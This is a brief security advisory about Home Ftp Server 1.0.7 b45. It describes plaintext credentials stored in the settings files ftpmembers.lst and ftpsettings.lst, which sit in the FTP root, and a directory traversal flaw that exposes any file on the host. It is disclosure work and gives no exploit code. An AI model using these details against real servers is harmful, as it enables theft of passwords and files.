  Home Ftp Server Multiple Vulnerabilities (Information Disclosure,  
Directory Traversal)
------------------------------------------------------------------------


SUMMARY

" <http://downstairs.dnsalias.net/homeserver.html> Home ftp server is a 
very easy to use Windows FTP server application with all the nice ftp 
features included."

Lack of proper root directory jailing, and lack of proper default 
configuration allow attackers to obtain user name and files, and to 
download to see and download any files on the system.

DETAILS

Vulnerable Systems:
 * Home Ftp Server version 1.0.7 b45

Information Disclosure:
By default the program setting files ftpmembers.lst and  ftpsettings.lst 
stores at the program home directory, which is the default home directory 
for the ftp server itself.
The information stored the user stetting as plain text including the 
password files.

Attackers can obtain the program settings as well as users and password in 
the system.

Directory Traversal:
The program allow users to obtain and download all the files available on 
the remote system.
